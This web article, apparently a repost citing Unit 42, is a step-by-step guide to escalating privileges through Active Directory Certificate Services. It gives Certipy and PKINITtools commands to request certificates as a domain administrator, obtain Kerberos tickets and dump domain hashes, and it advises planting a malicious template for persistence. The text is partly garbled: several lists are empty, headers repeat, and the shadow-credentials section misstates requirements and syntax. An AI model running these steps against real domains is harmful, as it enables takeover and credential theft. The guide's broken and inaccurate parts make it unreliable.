Mastering Active Directory Certificate Services Privilege Escalation: A Practical Guide

Introduction

Active Directory Certificate Services (AD CS) is a powerful component in many enterprise networks, but misconfigurations can lead to devastating privilege escalation attacks. This guide walks you through the most common exploitation techniques—template misconfigurations and shadow credential misuse—using tools like Certipy and PKINITtools. Whether you're a penetration tester or a defender, understanding these methods is critical. By the end, you'll be able to identify vulnerable templates, request rogue certificates, and abuse credentials to gain domain admin access.

Mastering Active Directory Certificate Services Privilege Escalation: A Practical Guide
Source: unit42.paloaltonetworks.com

What You Need

Step 1: Enumerate AD CS Templates for Misconfigurations

Start by discovering certificate templates that are configured with dangerous settings. Use Certipy to query the Certification Authority (CA):

certipy find -u user@domain.local -p 'password' -dc-ip 10.0.0.1

This command outputs a list of templates with their security descriptors. Focus on templates where:

These correspond to ESC1 (vulnerable template with low rights, allows domain escalation) and ESC2 (similar but with other EKU). Also look for ESC3 (enrollment agent misconfigurations) and ESC8 (NTLM relay via HTTP).

Tip: Use the -vulnerable flag in Certipy to automatically highlight risky templates.

Step 2: Exploit Template Misconfigurations to Request a Certificate

Once a vulnerable template is identified, request a certificate that will allow authentication as another user (e.g., a domain admin). Use Certipy's req command:

certipy req -u user@domain.local -p 'password' -ca CA-SERVER -template 'VulnerableTemplate' -target-ip 10.0.0.10 -upn administrator@domain.local

Key parameters:

If successful, you'll receive a PFX file containing the certificate and private key. This certificate is signed by the CA and will be accepted by Kerberos as proof of the target user's identity.

Step 3: Abuse Certificate Authentication for Kerberos Tickets

With the stolen certificate, you can request Kerberos TGT (Ticket Granting Ticket) from the Domain Controller using PKINIT. Tools like gettgtpkinit.py from PKINITtools or Certipy's auth command:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

This will output a Kerberos TGT in CCACHE format. Alternatively:

python3 gettgtpkinit.py -cert-pfx administrator.pfx domain.local/administrator administrator.ccache

Now you have a usable TGT. Set the KRB5CCNAME environment variable and authenticate:

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@dc01.domain.local

You can now dump domain hashes, access other machines, and escalate privileges.

Mastering Active Directory Certificate Services Privilege Escalation: A Practical Guide
Source: unit42.paloaltonetworks.com

Step 4: Leverage Shadow Credentials via PKCS12 Manipulation

Shadow credentials refer to the abuse of certificate-based authentication to obtain password hashes without needing the actual password. This technique often involves manipulating PFX files or using the shadowcred module in Certipy.

First, identify machines where you have write access (e.g., via MachineAccountQuota). Use Certipy to add a shadow credential to a target computer account:

certipy shadow -u user@domain.local -p 'password' -target 'TARGETCOMPUTER$' -ca CA-SERVER

This command creates a new certificate for the target machine and retrieves its NTLM hash. You can then use this hash to authenticate as the machine account (often a high-privilege account). For example:

certipy shadow -u user@domain.local -p 'password' -target 'DC01$' -ca CA-SERVER -dc-ip 10.0.0.1

Note: Shadow credentials are especially dangerous because they don't require elevated permissions—just enrollment rights on the CA.

Step 5: Post-Exploitation and Persistence

With domain admin access, you can:

For persistence, consider adding a malicious certificate template that allows any user to enroll as any other user. This ensures you can regain access anytime.

Tips for Defenders and Testers

This guide covers the two most prevalent AD CS escalation paths. By practicing these steps in a lab environment, you'll gain a deep understanding of how attackers move and how to stop them.

Recommended

Discover More

Anthropic's Mythos AI: A Dual-Edged Sword for CybersecurityNavigating the Mac Mini Price Hike: A Step-by-Step Guide to Making an Informed PurchaseMini PC Prices Plummet: Top AMD and Intel Deals Slash Up to 28% Amid Inventory ClearanceUnderstanding MCP Servers: Your Essential Guide in a Q&A FormatGlobal Internet Disruptions in Q1 2026: Government Shutdowns, Power Grid Collapses, and More